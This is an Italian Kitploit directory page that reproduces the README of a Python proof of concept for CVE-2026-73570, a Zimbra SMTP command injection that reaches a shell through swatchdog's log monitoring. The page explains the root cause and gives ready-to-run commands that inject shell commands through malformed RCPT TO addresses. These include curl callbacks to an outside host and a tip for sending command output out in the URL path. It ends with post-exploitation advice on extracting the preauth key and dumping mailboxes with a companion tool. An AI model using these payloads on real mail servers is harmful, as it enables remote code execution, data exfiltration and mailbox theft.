Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Strumenti/GitHubGitHub/jishino567/cve-2026-73570
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPost-ExploitPenetration TestingSicurezza Email
GitHubjishino567/cve-2026-73570

CVE-2026-73570

PoC in Python per CVE-2026-73570, un'iniezione di comandi SMTP in Zimbra. Invia payload RCPT TO malformati per attivare l'esecuzione di comandi shell tramite swatchdog, con scansione automatica delle porte e verifica OOB.

Vedi Repository
211022 giorni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-73570 PoC - Tester per Iniezione di Comandi SMTP

Uno script Python proof-of-concept (PoC) personalizzato e di basso livello per testare le vulnerabilità di iniezione di comandi SMTP (CVE-2026-73570).

Questo strumento invia un indirizzo RCPT TO malformato contenente una sostituzione di comando in stile shell (ad es., $(comando)) per determinare se il server di posta di destinazione o la sua pipeline di elaborazione a valle passa impropriamente l'indirizzo attraverso una shell senza sanificazione.

⚠️ DISCLAIMER: Questo strumento è destinato esclusivamente a scopi educativi e test di sicurezza autorizzati. Assicurati di avere il permesso esplicito di testare l'infrastruttura di destinazione. La scansione o lo sfruttamento non autorizzato dei server di posta è illegale.

Informazioni sul Bug (Target: Zimbra)

Non tutti i server Zimbra sono vulnerabili. Tutte queste condizioni devono essere vere:

  1. Il pacchetto opzionale zimbra-snmp è installato (spesso richiesto durante l'installazione).
  2. Le notifiche di trap SNMP sono abilitate (snmp_notify).
  3. Il servizio swatchdog è in esecuzione (attivo per impostazione predefinita).

Superficie di attacco: L'attacco non richiede che SNMP (UDP/161/162) sia esposto all'attaccante. L'input dannoso arriva tramite SMTP standard.

La Causa Principale

Il processo swatchdog monitora /var/log/zimbra.log utilizzando la configurazione da /opt/zimbra/conf/swatchrc.in. Abbina attivamente le voci di log utilizzando le seguenti espressioni regolari:

root@kitploit:~
/: Service status change: (\S+) (.*) changed from stopped to running/
/: Service status change: (\S+) (.*) changed from running to stopped/

Il gruppo di acquisizione (.*) viene trattato come un nome di servizio. Lo script dosnmp interpola quindi quel testo acquisito direttamente in un comando Perl backtick snmptrap. Poiché i backtick Perl vengono eseguiti tramite la shell di sistema, qualsiasi metacarattere di shell acquisito in (.*) viene valutato ed eseguito.

Il Vettore di Iniezione

Gli attaccanti inseriscono il testo dannoso nel log inviando un comando SMTP (come RCPT TO) il cui argomento assomiglia a una vera riga di stato del servizio. Postfix registra questo come sintassi dell'indirizzo illegale, ma swatchdog corrisponde comunque all'espressione regolare nella riga di log e passa il payload alla shell.


Caratteristiche

  • Client SMTP Personalizzato di Basso Livello: Bypassa la validazione interna degli indirizzi di smtplib standard di Python per inviare payload grezzi non conformi alle RFC esattamente come farebbe un attaccante.
  • Scansione Automatica delle Porte: Scansiona automaticamente le porte SMTP aperte (25, 465, 587) e seleziona quella disponibile.
  • Supporto SSL/TLS Implicito: Negozi automaticamente SSL/TLS se si punta alla porta 465 (SMTPS).
  • Iniezione di Payload Personalizzato: Accetta comandi shell arbitrari tramite il flag --command.
  • Interfaccia CLI Pulita: Costruita con argparse per una facile integrazione nei flussi di lavoro di test.

Prerequisiti

  • Python 3.6+
  • Nessuna dipendenza esterna richiesta (utilizza solo la libreria standard di Python)

Installazione

Salva lo script in un file chiamato CVE-2026-73570.py (o qualsiasi nome preferisci):

root@kitploit:~
# Esempio: scarica o crea il file
nano CVE-2026-73570.py

Utilizzo

Puoi eseguire lo script in diversi modi a seconda del tuo scenario di test.

1. Scansione Automatica ed Esecuzione

Se non specifichi una porta, lo script scansionerà le porte 25, 465 e 587, e punterà automaticamente alla prima porta aperta.

root@kitploit:~
python3 CVE-2026-73570.py --host 127.0.0.1 --command "curl http://your-unique-id.requestrepo.com"

2. Punta a una Porta Specifica

Se conosci già la porta di destinazione (ad es., 465), puoi saltare la fase di scansione.

root@kitploit:~
python3 CVE-2026-73570.py --host 127.0.0.1 --port 465 --command "curl http://your-unique-id.requestrepo.com"

3. Solo Scansione (Ricognizione)

Se vuoi solo verificare quali porte di posta sono aperte su un target senza inviare il payload.

root@kitploit:~
python3 CVE-2026-73570.py --host 127.0.0.1 --scan-only

Argomenti della Riga di Comando

ArgomentoBreveDescrizionePredefinito
--host-HIP o dominio del host di destinazione.127.0.0.1
--port-pPorta di destinazione. Se omessa, scansiona 25, 465, 587 e punta a una aperta.None (Auto)
--command-cComando shell da iniettare nel payload SMTP.TEST_PAYLOAD
--scan-only-sScansiona solo le porte ed esce senza inviare il payload di iniezione.False

Come Verificare lo Sfruttamento

Eseguire lo script da solo dimostra solo che il server di posta riceve l'indirizzo RCPT TO malformato. Per confermare l'effettiva iniezione di comandi senza bisogno di accesso diretto al filesystem o ai log del target, utilizza un callback Out-Of-Band (OOB) tramite HTTP.

  1. Configura un Listener: Vai su requestrepo.com (o usa Burp Suite Collaborator / Webhook.site) e copia il tuo URL univoco (ad es., http://xyz123.requestrepo.com).
  2. Esegui il PoC: Esegui lo script usando curl per colpire il tuo URL univoco:
    root@kitploit:~
    python3 CVE-2026-73570.py --host 127.0.0.1 --command "curl http://xyz123.requestrepo.com"
    
  3. Controlla i Callback: Aggiorna la dashboard di Request Repo. Se vedi una richiesta HTTP GET in arrivo, l'iniezione di comandi è riuscita.

Suggerimento (Esfiltrazione di Dati): Puoi esfiltrare l'output dei comandi iniettandolo nel percorso URL del tuo callback:

root@kitploit:~
python3 CVE-2026-73570.py --host 127.0.0.1 --command "curl http://xyz123.requestrepo.com/$(id | tr -d ' ')"

Controlla la dashboard di Request Repo per vedere l'output uid=0(root) nel percorso richiesto.

⚠️ Nota Importante: "Access Denied" Non Significa "Patch Applicata"

Durante i test, potresti ricevere una risposta SMTP come questa:

root@kitploit:~
[<] RCPT TO: 554 554 5.7.1 <[email protected]>: Recipient address rejected: Access denied

NON presumere che la vulnerabilità sia fallita semplicemente perché l'indirizzo è stato rifiutato.

Molti server di posta (come Postfix o Exim) accetteranno sintatticamente il payload durante la transazione SMTP, ma rifiuteranno immediatamente il tentativo di consegna perché il dominio/destinatario non è nella loro lista di relay consentiti.

La vulnerabilità CVE-2026-73570 si attiva dopo che questo rifiuto si verifica. La stringa dannosa fluisce in /var/log/zimbra.log come voce di log di sintassi dell'indirizzo illegale. swatchdog monitora questo log, corrisponde al payload e lo passa alla shell.

Poiché il payload raggiunge comunque questi sistemi backend per la registrazione, la sostituzione di comando ($()) viene comunque eseguita. Affidati sempre al tuo callback OOB (ad es., Request Repo) per verificare il successo, indipendentemente dal codice di risposta SMTP.

Post Sfruttamento

Una volta ottenuta l'esecuzione dei comandi tramite l'iniezione swatchdog, l'attaccante opera tipicamente come utente zimbra. Da qui, l'obiettivo principale è spesso accedere ai dati delle caselle di posta.

Per facilitare questo passaggio successivo, puoi usare zimbraKing — uno strumento personalizzato progettato per scaricare le caselle di posta Zimbra.

  • Repository: https://github.com/jishino567/zimbraKing

Scenario di Utilizzo: Durante la tua fase di post-sfruttamento, se riesci a leggere i file di configurazione Zimbra ed estrarre la preAuthKey (solitamente trovata in /opt/zimbra/conf/localconfig.xml sotto la chiave zimbra_preauth_key) o se ottieni credenziali valide dell'account Zimbra, puoi inserirle in zimbraKing.

Lo strumento sfrutta la preAuthKey o le credenziali dell'account per autenticarsi contro l'API SOAP di Zimbra e scaricare sistematicamente il contenuto della casella di posta di destinazione senza bisogno di interagire direttamente con il database o il filesystem sottostante.

Perché non usare smtplib?

La smtplib integrata di Python impone rigorosi standard RFC. Se provi a passare un indirizzo contenente ", $, (, e ) tramite smtplib.sendmail(), la libreria o modificherà la stringa per renderla "sicura" o solleverà un'eccezione SMTPRecipientsRefused prima che i dati raggiungano mai la rete. Questo client personalizzato utilizza socket grezzi per garantire la consegna byte per byte del payload di sfruttamento.

Scarica lo strumento